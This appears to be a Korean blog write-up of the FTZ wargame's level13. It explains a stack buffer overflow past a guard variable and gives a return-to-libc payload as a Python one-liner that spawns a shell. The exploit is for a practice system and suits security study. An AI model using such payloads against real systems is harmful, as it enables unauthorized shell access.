소스 힌트다.
변수가 두개 설정 되어있다.
버퍼의 크기는 0x418 즉 1048바이트로 설정되어있다.
long i가 먼저 선언되었으며 스택의 높은주소쪽에 위치할 것이다.
ebp-12에 0x1234567을 mov하는것을 볼 수 있다. 버퍼를 넘치게해 ebp-12에 오버플로우를 일으키면 된다.
일단 1048바이트 뒤에 AAAA를 주어 확인해보니 ebp에 AAAA가 위치한다.
ebp-12에 0x1234567이 들어가야 하니까 바이트 수를 좀 줄여서 확인해봐야겠다.
1036바이트 뒤에 AAAA를 주니 ebp-12에 값이 들어갔다.
이제 RTL 페이로드를 작성해야겠다.
bin/sh의 주소를 구했다.
system함수의 주소를 구했다.
Payload
NOP sled [1036바이트] + 0x1234567 [4바이트] + NOP sled [12바이트] + SYSTEM 함수 주소 [4바이트] + NOP sled [4바이트] + /bin/sh 주소 [4바이트]
`python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`
쉘을 얻었다.
'Wargame > FTZ' 카테고리의 다른 글
[FTZ] level15@ftz (0) | 2017.11.23 |
---|---|
[FTZ] level14@ftz (0) | 2017.11.21 |
[FTZ] level12@ftz (0) | 2017.11.10 |
[FTZ] level11@ftz (0) | 2017.11.10 |
[FTZ] level10@ftz (0) | 2017.11.10 |